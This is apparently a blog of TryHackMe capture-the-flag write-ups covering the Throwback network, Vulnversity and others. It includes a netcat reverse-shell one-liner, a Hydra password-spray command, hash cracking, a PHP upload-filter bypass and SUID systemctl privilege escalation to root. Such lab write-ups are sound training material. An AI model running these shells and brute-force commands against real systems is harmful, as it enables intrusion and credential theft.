rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <attacker ip> <listening port> >/tmp/f

When starting a listener on netcat and running the above command through pfsense, we can see that I get a connection back and a shell as the root user on THROWBACK-FW01.

Poking around on the server doesn’t reveal too much of interest until we get to the /var/log directory, where we find two things that stand out: flag.txt and login.log.

Flag.txt is just one of the many flags hidden around the network that you put into the TryHackMe website to show you completed it, so we’ll skip what is in each of those when they’re found. However, login.log is also interesting as that is not a default file in Linux. Checking the contents reveals a username and what appears to be a hashed password.

At first glance it appears to be an MD5 hash, but we can verify that by checking its length, as MD5 hashes are 32 characters long.

This check shows the length matches up with what we though, so let’s see if we can crack it easily using an online cracker like CrackStation. We get a hit for the hash as the password “securitycenter” and the type NTLM.

So we weren’t quite right about the type of hash, but now we have what appear to be a set of valid credentials for the user HumphreyW. We haven’t found anywhere to use them yet, but I just put them in a file for now to keep track of for later.

There wasn’t much else to find on FW01 for now. It would usually be worth getting any password hashes from /etc/shadow (or /etc/master.passwd in FreeBSD), but in this case I wasn’t able to crack any of them. Below is the content for reference and I just saved them for later in case the users are seen again.

Anyway, I didn’t find anything else useful on this server, so on to the next.

Throwback-PROD (10.200.x.219)

Moving to the next machine from our Nmap results, 10.200.14.219 appears to be a Windows server with some standard services running (SMB, RDP, etc.) along with SSH and a web server.

The first thing I tried was using the credentials for HumphreyW to SSH or RDP into the machine, but they came back as incorrect so I saved them for somewhere else in the network.

Moving on the web server running shows what appears to be the home page for the fictitious Throwback Hacks company we’re performing our “test” against.

There isn’t much of interest on the page apart from a few names of employees and a contact form that gives an e-mail address for the company. It doesn’t help much at the moment, but it at least shows us how the domain is formatted in the e-mail address and provides a potential phishing target for later.

Still not much to go on here. On to checking out the other device we could see from our Nmap scan, the mail server.

Throwback-MAIL (10.200.x.232)

Going back to our nmap output from earlier, this server was listening on SSH, HTTP, and 2 ports for IMAP. From the IMAP service running, we can infer it’s potentially being used for e-mail, but let’s check out the web site to see what’s running there first.

Now we’re getting somewhere interesting. The web server appears to be hosting the company’s webmail page and there are even credentials for a guest user on the front page. Trying the credentials shows they do work and we are successfully logged into an instance of SquirrelMail, which is just a free PHP-based web e-mail client.

The welcome “Welcome” message in the inbox doesn’t seem to give anything useful, apart from one of the flags.

However, more of interest to us is that we can view the company’s address book, giving us a nice list of employees, usernames, and their associated e-mail addresses.

Using the address book, we’re able to put together a nice list of users that we can use for password spraying against either Throwback-PROD or the mail server. One important aspect that we don’t know yet is what the password policy is for the domain and whether there is a lockout enforced after too many incorrect attempts. To try and work around that we can try to brute force logins to the mail server instead of the Windows server as SquirrelMail by default uses IMAP authentication and we can hope the administrator didn’t change it to check against Active Directory.

The second part of the password spray is the list of passwords to try. Below is the list I used, which uses extremely common passwords, along with credentials we’ve already discovered elsewhere in the network.

I used Hydra to perform the actual brute force attempts, but the command needs some additional information before it will work correctly. We need to see what the login request looks like when it is submitted. After intercepting the request with Burp Suite, we can see the login form sends a POST request to /src/redirect.php and we can also identify the parameters it uses to pass the username and password.

With this knowledge, we can put together the Hydra command we’ll need, inputting the URL and parameters from above, along with an error message to identify when the credentials don’t work.

hydra -L mail-users -P passwords 10.200.14.232 http-post-form "/src/redirect.php:login_username=^USER^&secretkey=^PASS^:Unknown user or password incorrect"

Hydra finished after a few minutes and gave us six hits for successful username/password combinations, including one we already had for HumphreyW.

At this point we can try the credentials on the mail server to see if there are any interesting e-mails or check them against Throwback-PROD to try for a shell on another machine. However, I’m going to end this post for now because it feels like it’s getting pretty long.

To be continued in part 2!

TryHackMe – Overpass

imflikk Leave a comment

It’s been a while, but I’m back with another video walk-through of the “Overpass” machine from TryHackMe.com. This was an interesting machine that covers some of the fundamentals such as inspecting source code for web pages, tinkering with cookies, and important things to enumerate on Linux machines (i.e. cron jobs and file permissions).

I also made another Python script for fun that solves the entire machine, including printing both flags without any input required. I would recommend actually working through the box yourself before using it as you won’t learn anything using this, but it was fun to make nonetheless.

https://github.com/imflikk/tryhackme_solution_scripts/blob/master/overpass.py

TryHackMe – dogcat

imflikk Leave a comment

Another TryHackMe machine today, this one is called dogcat for the website which is the main focus of all activities. Like my last post, no lengthy write-up for this one either, but instead another video walkthrough.

This machine focuses on a website with an LFI (Local File Inclusion) vulnerability which, through some directory traversal, allows reading of system files. Combining this vulnerability with log poisoning in the Apache web logs, we’re able to get code execution on the web server. From there, there are some hints that it is a docker container and we have to escalate privileges then gain access to the host machine running the container.

And for a little more fun (or for anyone who wants to try the machine, but not work through it themselves) I wrote a script that solves most of it automatically and sends a reverse shell back to the user. Privilege escalation and gathering flags still needs to be done manually.

https://github.com/imflikk/tryhackme_solution_scripts/blob/master/dogcat.py

TryHackMe – Attacktive Directory

imflikk 1 Comment

I’m mixing it up this time and did a recording of the machine rather than a written version. It took a little more preparation, but was helpful to me personally because I had to learn more about certain things to be able to explain it correctly in the video.

For a quick lead in, this machine is set up as a domain controller running Kerberos, which is configured in a way that allows us to abuse some of its functionality to get a hash we can crack. With that cracked password, we’re able to find credentials for a backup user that has access to the NTDS.dit file and allows us to dump the secrets from the DC, including all domain users’ password hashes. This dump gives us the administrator hash which can be used in a pass-the-hash attack to get an elevated shell on the machine.

TryHackMe – Vulnversity

imflikk Leave a comment

Since it has been a while and I have some free time at home, I figured I should get back to doing some write-ups. Prior to taking (and passing!) my OSCP exam back in February, I was doing as many CTF machines as I could for practice and burned myself out a bit. However, I’m back now and ready to go, plus I know Rose and Jordan have been sorely lacking good reading material.

Today I tried out one of the easier challenges on TryHackMe.com. This site is similar to Hack the Box, but seems a little more beginner friendly as it has questions you’re supposed to answer about each challenge that serve as a way to guide you in the right direction, whereas a lot of the HTB machines are ambiguous and you just have to figure out what to do. The site itself seems pretty cool and has a large number of “Rooms” that serve as the challenges.

Anyway, the room I tried was called Vulnversity and describes itself as “Learn about active recon, web app attacks and privilege escalation”. When you open up the room it gives you a list of tasks to perform and enter answers for, but the first is always to deploy the machine, which activates the VM you’re going to be targeting.

After deploying, we get the IP we’ll attack once we’re connected with the OpenVPN config file provided through the site.

I should point out that I generally prefer the open-ended format of Hack the Box, so tried to avoid looking at the tasks as much as possible (until the end) and just figuring out what needed to be done.

Let’s do this.

First up, once I was connected to the VPN, a quick ping shows the VM is up and running.

I started out with a basic nmap scan to run default scripts, enumerate versions of detected services, and log the output to a file for later reference. I followed up with a scan of all ports, but it didn’t come back with any additional ones that what is listed below.

nmap -sC -sV -oA nmap/initial 10.10.21.27

The results show 6 services listening: FTP, SSH, NetBios, SMB, HTTP-proxy, and regular HTTP.

I tried FTP first to check for anonymous logins being allowed, but no luck there.

Next, I used smbmap and smbclient to gather some information on any shares available through the Samba service. Nothing we can really use for now, but it’s interesting that the OS is showing as Windows when everything else points to it being a Ubuntu machine.

Moving on to HTTP, as this is a common entry point. Googling the Apache version (2.4.18) in relation to Ubuntu gives us an estimated time frame of when the machine was last updated. Based on the changelog, it looks like this version of Apache was released in October 2019, so we can probably rule out any older kernel exploits being needed.

Visiting the home page on port 3333 gives a site for “Vuln University”. None of the links on the page appear to be active or do anything other than point to the top of the current page. There is one link to a Vimeo video about a player piano that takes requests via Twitter. It was pretty interesting, but didn’t seem to have anything to do with the challenge.

As I didn’t find anything on the home page or the source code of it, I started up a Gobuster scan to search for other directories on the server.

After a minute or so, it found the /internal directory that did not seem to be one of the standard Apache folders.

Visiting the page presents a file upload screen, but no other directions.

My usual method of getting a foothold on a web server is to find a way to execute PHP code for a reverse shell, so I tried uploading that first.

However, no luck there. It just tells us the extension is not allowed, but doesn’t reveal what extensions are allowed.

At this point, I’m pretty sure this is how we’re meant to gain access, so our first step will be trying to find out what extensions are allowed. After knowing that, we can find a way to execute code using a file of that type. I intercepted the upload request in Burp Suite to try manually changing the extension or MIME type once it had been submitted, but the few common extensions I tried didn’t work (php, php5, jpeg, gif, etc).

An easier and quicker way of doing this would be to automate the fuzzing on extensions and, luckily, Burp Suite can help with this. The Intruder feature can fuzz any portion of a request we want with any list of words or parameters we provide. First, I intercept the upload request and choose to “Send to Intruder”.

Second, we tell it which part of the request we want to fuzz by setting the position symbols around it. In this case, we’re including the “.<extension>” portion of the filename. I should also mention I re-named the reverse shell file to rev.php just to save time when typing it.

Next, we move to the payloads tab and paste in a list of file extensions we want to fuzz with. The list I used was taken from this page that has a small list of PHP extensions that can often be used to bypass an extension whitelist/blacklist.

Finally, I click “Start Attack” and Burp starts sending requests for each file type. Bad news though, I don’t see anything different about any of the requests that were sent. If one gave us any message other than “Extension not allowed” then the Length field would have a different value than 737.

However, when I drilled down into one of the requests, it looks like Burp is URL-encoding the period in each file extension, which might be causing a problem with the upload filter.

Luckily, I found an option to disable this.

Running the attack again gives us different results than the first try. This time we can see the .phtml extension returns a length of 723, instead of the 737 everything else gives. Drilling into the request also shows a response on the page of “Success”.

Luckily, I know from previous machines that a file with the .phtml extension still executes any PHP code in it when visited in a browser. I re-named my file to rev.phtml and tried the upload again. This time it worked and I can see it successfully in the /internal/uploads directory.

As my php reverse shell was configured to connect back to my VPN IP on port 9001, I started a netcat listener before clicking on the newly uploaded file. Once clicked, it successfully connected back to me and I had a shell as the www-data user.

A few more commands later to clean up the shell, we’re ready to start exploring the machine. For reference, the first command uses Python to get an interactive bash shell. The second backgrounds the session with CTRL-Z, runs “stty raw -echo” to allow auto-complete and the usage of the arrow keys in my shell, then typing “fg” followed by enter twice puts us back into our interactive shell with full functionality.

I don’t have a screenshot of it, but checking the /home directory gives us the user.txt file under the bill user’s directory.

From here we need to escalate privileges to root to get the last flag. The script I’ve started using more often nowadays is linpeas.sh for Linux machines or winPEAS for Windows. They both check for common misconfigurations, a variety of possible privesc vecctors, and are part of the Privilege Escalation Awesome Scripts Suite (hence the why both scripts have “peas” in them). I already have this repo on my Kali machine, so I just need to move a copy to the target machine. The easiest way is to start a web server with Python and download it into a folder we have write access to.

I chose to download into the /dev/shm folder for good practice as this data is stored in RAM and not directly on disk.

Running the script gives some fancy graphics and then starts into enumeration of the OS, users, cron jobs, etc. If anything comes back with red text on a yellow background (listed as 99% a PE vector by the script) it is almost always worth looking further into. If we don’t get that luck, I usually sort through the details of each section until I find something that doesn’t seem to be standard and investigate that more.

Luckily, it flags one of the SUID files with the 99% PE indicator I mentioned. A quick jump over to GTFOBins gives us an example of how to abuse the systemctl binary if it has the SUID bit set.

I had some trouble using their example word for word, even without using the first line as our binary is in the default path. Instead, I combined it with this Medium article for how to create a new service that will create a reverse shell using the escalated privileges from systemctl. Below is the file I created to define the new service. It just uses a common bash reverse shell to call back to my VPN IP on port 9002, and since this will be started by the SUID systemctl, the shell should be as the root user.

Next, we enable the new service pointing to the file I created. Finally, we use systemctl one more time to start the service (after starting one more netcat listener on port 9002.

Success! We successfully catch the shell, are now root, and can read the root.txt flag. That’s the end of the machine, but going back to the questions on the site give an idea of whether I followed the right path and can answer all of their questions with the information I gathered along the way.

The questions weren’t very difficult and would’ve done a good job at pointing someone in the right direction if they were to hit a dead end at some point.

This was the 3rd or 4th machine I’ve done from TryHackMe and overall I do like the format. I still like to try the challenge without using any of the questions as a guide, but it’s nice to have them as a fallback if needed. I know some people will argue that you’ll learn more from struggling for days until you figure something out on your own (which is what happens sometimes with HTB machines), but I personally don’t always have that much free time and I’m sure others don’t either. It’s useful to have a format like this that will still teach you how to do something correctly, even if it holds your hand a little.